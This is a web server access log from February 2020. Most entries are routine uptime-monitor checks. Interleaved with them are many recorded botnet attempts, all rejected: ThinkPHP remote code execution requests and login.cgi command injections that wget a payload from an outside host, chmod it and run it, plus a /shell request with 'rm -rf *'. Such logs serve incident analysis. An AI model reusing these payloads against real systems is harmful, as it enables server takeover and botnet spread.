212.91.246.72 - - [05/Feb/2020:09:12:47 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
171.110.238.149 - - [05/Feb/2020:09:12:57 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
212.91.246.72 - - [05/Feb/2020:09:13:47 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [05/Feb/2020:09:14:47 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
115.75.208.76 - - [05/Feb/2020:09:15:38 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
212.91.246.72 - - [05/Feb/2020:09:15:47 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [05/Feb/2020:09:16:47 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [05/Feb/2020:09:17:47 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [05/Feb/2020:09:18:47 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
77.247.16.179 - - [05/Feb/2020:09:19:25 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
212.91.246.72 - - [05/Feb/2020:09:19:47 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
42.119.136.158 - - [05/Feb/2020:09:20:04 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
212.91.246.72 - - [05/Feb/2020:09:20:47 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [05/Feb/2020:09:21:47 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [05/Feb/2020:09:22:47 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [05/Feb/2020:09:23:47 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
222.185.55.236 - - [05/Feb/2020:09:24:23 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
212.91.246.72 - - [05/Feb/2020:09:24:47 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [05/Feb/2020:09:25:47 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
169.197.108.6 - - [05/Feb/2020:09:26:34 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/60.0.3112.113 Safari/537.36"
212.91.246.72 - - [05/Feb/2020:09:26:47 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [05/Feb/2020:09:27:47 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [05/Feb/2020:09:28:47 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
117.0.196.128 - - [05/Feb/2020:09:28:59 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
118.89.144.131 - - [05/Feb/2020:09:29:33 +0100] "GET /login.cgi?cli=aa%20aa%27;wget%20http://80.211.112.150/k%20-O%20/tmp/ks;chmod%20777%20/tmp/ks;sh%20/tmp/ks%27$ HTTP/1.1" 400 329 "-" "LMAO/2.0"
212.91.246.72 - - [05/Feb/2020:09:29:47 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
185.243.51.206 - - [05/Feb/2020:09:30:16 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/51.0.2704.103 Safari/537.36"
212.91.246.72 - - [05/Feb/2020:09:30:47 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [05/Feb/2020:09:31:47 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
118.68.254.193 - - [05/Feb/2020:09:31:54 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
212.91.246.72 - - [05/Feb/2020:09:32:47 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
188.166.76.99 - - [05/Feb/2020:09:32:53 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
212.91.246.72 - - [05/Feb/2020:09:33:47 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [05/Feb/2020:09:34:47 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
177.44.217.35 - - [05/Feb/2020:09:35:25 +0100] "GET / HTTP/1.1" 400 329 "-" "-"
212.91.246.72 - - [05/Feb/2020:09:35:47 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [05/Feb/2020:09:36:47 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
63.143.35.230 - - [05/Feb/2020:09:36:50 +0100] "GET / HTTP/1.1" 200 1229 "-" "-"
212.91.246.72 - - [05/Feb/2020:09:37:47 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [05/Feb/2020:09:38:47 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
185.56.156.89 - - [05/Feb/2020:09:39:16 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_11_6) AppleWebKit/601.7.7 (KHTML, like Gecko) Version/9.1.2 Safari/601.7.7"
212.91.246.72 - - [05/Feb/2020:09:39:47 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [05/Feb/2020:09:40:47 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
95.67.105.20 - - [05/Feb/2020:09:41:24 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/51.0.2704.103 Safari/537.36"
212.91.246.72 - - [05/Feb/2020:09:41:47 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
42.119.132.51 - - [05/Feb/2020:09:41:58 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
185.189.102.189 - - [05/Feb/2020:09:42:30 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/52.0.2743.116 Safari/537.36"
73.138.205.198 - - [05/Feb/2020:09:42:40 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
212.91.246.72 - - [05/Feb/2020:09:42:47 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
42.119.7.139 - - [05/Feb/2020:09:43:47 +0100] "GET /shell?cd+/tmp;rm+-rf+*;wget+http://scan.casualaffinity.net/jaws;sh+/tmp/jaws HTTP/1.1" 404 306 "-" "Hello, world"
212.91.246.72 - - [05/Feb/2020:09:43:47 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [05/Feb/2020:09:44:47 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
63.143.35.230 - - [05/Feb/2020:09:45:41 +0100] "GET / HTTP/1.1" 200 1229 "-" "-"
212.91.246.72 - - [05/Feb/2020:09:45:47 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
179.43.169.182 - - [05/Feb/2020:09:45:57 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (X11; Linux i686; rv:10.0) Gecko/20100101 Firefox/10.0"
164.52.24.163 - - [05/Feb/2020:09:46:10 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (Windows NT 6.1; WOW64; rv:52.0) Gecko/20100101 Firefox/52.0"
212.91.246.72 - - [05/Feb/2020:09:46:47 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [05/Feb/2020:09:47:47 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [05/Feb/2020:09:48:47 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [05/Feb/2020:09:49:47 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
201.88.30.50 - - [05/Feb/2020:09:49:52 +0100] "GET / HTTP/1.1" 400 329 "-" "-"
212.91.246.72 - - [05/Feb/2020:09:50:47 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [05/Feb/2020:09:51:47 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [05/Feb/2020:09:52:47 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [05/Feb/2020:09:53:47 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
1.53.86.226 - - [05/Feb/2020:09:54:05 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
212.91.246.72 - - [05/Feb/2020:09:54:47 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [05/Feb/2020:09:55:47 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
131.100.60.65 - - [05/Feb/2020:09:56:13 +0100] "GET / HTTP/1.1" 400 329 "-" "-"
220.116.93.35 - - [05/Feb/2020:09:56:26 +0100] "GET /login.cgi?cli=aa%20aa%27;wget%20http://104.168.176.25/d%20-O%20-%3E%20/tmp/ff;chmod%20+x%20/tmp/ff;sh%20/tmp/ff%27$ HTTP/1.1" 400 329 "-" "DEMONS/2.0"
220.116.93.35 - - [05/Feb/2020:09:56:30 +0100] "GET /login.cgi?cli=aa%20aa%27;wget%20http://104.168.176.25/d%20-O%20-%3E%20/tmp/ff;chmod%20+x%20/tmp/ff;sh%20/tmp/ff%27$ HTTP/1.1" 400 329 "-" "DEMONS/2.0"
220.116.93.35 - - [05/Feb/2020:09:56:37 +0100] "GET /login.cgi?cli=aa%20aa%27;wget%20http://104.168.176.25/d%20-O%20-%3E%20/tmp/ff;chmod%20+x%20/tmp/ff;sh%20/tmp/ff%27$ HTTP/1.1" 400 329 "-" "DEMONS/2.0"
212.91.246.72 - - [05/Feb/2020:09:56:47 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
220.116.93.35 - - [05/Feb/2020:09:56:49 +0100] "GET /login.cgi?cli=aa%20aa%27;wget%20http://104.168.176.25/d%20-O%20-%3E%20/tmp/ff;chmod%20+x%20/tmp/ff;sh%20/tmp/ff%27$ HTTP/1.1" 400 329 "-" "DEMONS/2.0"
220.116.93.35 - - [05/Feb/2020:09:57:13 +0100] "GET /login.cgi?cli=aa%20aa%27;wget%20http://104.168.176.25/d%20-O%20-%3E%20/tmp/ff;chmod%20+x%20/tmp/ff;sh%20/tmp/ff%27$ HTTP/1.1" 400 329 "-" "DEMONS/2.0"
212.91.246.72 - - [05/Feb/2020:09:57:47 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
58.189.208.61 - - [05/Feb/2020:09:58:27 +0100] "GET /login.cgi?cli=aa%20aa%27;wget%20http://185.248.102.144/Dlinkrep.sh%20-O%20-%3E%20/tmp/ff;chmod%20+x%20/tmp/ff;sh%20/tmp/ff%27$ HTTP/1.1" 400 329 "-" "PACKETS/2.0"
212.91.246.72 - - [05/Feb/2020:09:58:47 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [05/Feb/2020:09:59:47 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
42.119.102.132 - - [05/Feb/2020:10:00:03 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
212.91.246.72 - - [05/Feb/2020:10:00:47 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [05/Feb/2020:10:01:47 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [05/Feb/2020:10:02:47 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
58.187.209.85 - - [05/Feb/2020:10:02:49 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]='wget http://scan.casualaffinity.net/servicesd000/fx19.x86 -O .d41 ; chmod 777 .d41 ; ./.d41 ThinkPHP.exploit' HTTP/1.1" 404 310 "-" "Unstable/2.0"
212.91.246.72 - - [05/Feb/2020:10:03:47 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [05/Feb/2020:10:04:47 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
63.143.35.230 - - [05/Feb/2020:10:05:24 +0100] "GET / HTTP/1.1" 200 1229 "-" "-"
212.91.246.72 - - [05/Feb/2020:10:05:47 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [05/Feb/2020:10:06:47 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
42.117.20.74 - - [05/Feb/2020:10:06:55 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
212.91.246.72 - - [05/Feb/2020:10:07:47 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
189.69.125.58 - - [05/Feb/2020:10:08:41 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/51.0.2704.103 Safari/537.36"
212.91.246.72 - - [05/Feb/2020:10:08:47 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [05/Feb/2020:10:09:47 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [05/Feb/2020:10:10:47 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [05/Feb/2020:10:11:47 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
42.118.71.5 - - [05/Feb/2020:10:12:16 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
113.22.244.59 - - [05/Feb/2020:10:12:21 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
212.91.246.72 - - [05/Feb/2020:10:12:47 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [05/Feb/2020:10:13:47 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
88.201.179.77 - - [05/Feb/2020:10:14:01 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://fksdjfaksj321bots.mybiadboats.xyz/thinkphp -O .d41 ; chmod 777 .d41 ; ./.d41 ThinkPHP.exploit' HTTP/1.1" 404 310 "-" "Unstable/2.0"
42.113.229.206 - - [05/Feb/2020:10:14:39 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
212.91.246.72 - - [05/Feb/2020:10:14:47 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
102.157.233.186 - - [05/Feb/2020:10:15:01 +0100] "GET /login.cgi?cli=aa%20aa%27;wget%20http://185.248.102.144/Dlinkrep.sh%20-O%20-%3E%20/tmp/ff;chmod%20+x%20/tmp/ff;sh%20/tmp/ff%27$ HTTP/1.1" 400 329 "-" "PACKETS/2.0"
212.91.246.72 - - [05/Feb/2020:10:15:47 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
2.134.162.105 - - [05/Feb/2020:10:16:36 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
212.91.246.72 - - [05/Feb/2020:10:16:47 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [05/Feb/2020:10:17:47 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
42.117.213.31 - - [05/Feb/2020:10:18:25 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
212.91.246.72 - - [05/Feb/2020:10:18:47 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
196.219.167.35 - - [05/Feb/2020:10:19:14 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
54.36.148.19 - - [05/Feb/2020:10:19:18 +0100] "GET /robots.txt HTTP/1.1" 404 330 "-" "Mozilla/5.0 (compatible; AhrefsBot/6.1; +http://ahrefs.com/robot/)"
119.116.36.71 - - [05/Feb/2020:10:19:21 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://fksdjfaksj321bots.mybiadboats.xyz/thinkphp -O .d41 ; chmod 777 .d41 ; ./.d41 ThinkPHP.exploit' HTTP/1.1" 404 310 "-" "Unstable/2.0"
212.91.246.72 - - [05/Feb/2020:10:19:47 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [05/Feb/2020:10:20:47 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [05/Feb/2020:10:21:47 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [05/Feb/2020:10:22:47 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [05/Feb/2020:10:23:47 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
42.119.240.234 - - [05/Feb/2020:10:23:55 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
212.91.246.72 - - [05/Feb/2020:10:24:47 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
188.190.221.15 - - [05/Feb/2020:10:25:14 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_11_6) AppleWebKit/601.7.7 (KHTML, like Gecko) Version/9.1.2 Safari/601.7.7"
212.91.246.72 - - [05/Feb/2020:10:25:47 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
42.113.229.206 - - [05/Feb/2020:10:26:30 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
212.91.246.72 - - [05/Feb/2020:10:26:47 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
113.167.209.157 - - [05/Feb/2020:10:27:21 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
42.115.164.64 - - [05/Feb/2020:10:27:44 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
212.91.246.72 - - [05/Feb/2020:10:27:47 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
118.70.86.107 - - [05/Feb/2020:10:27:50 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
47.91.20.55 - - [05/Feb/2020:10:28:14 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
212.91.246.72 - - [05/Feb/2020:10:28:47 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
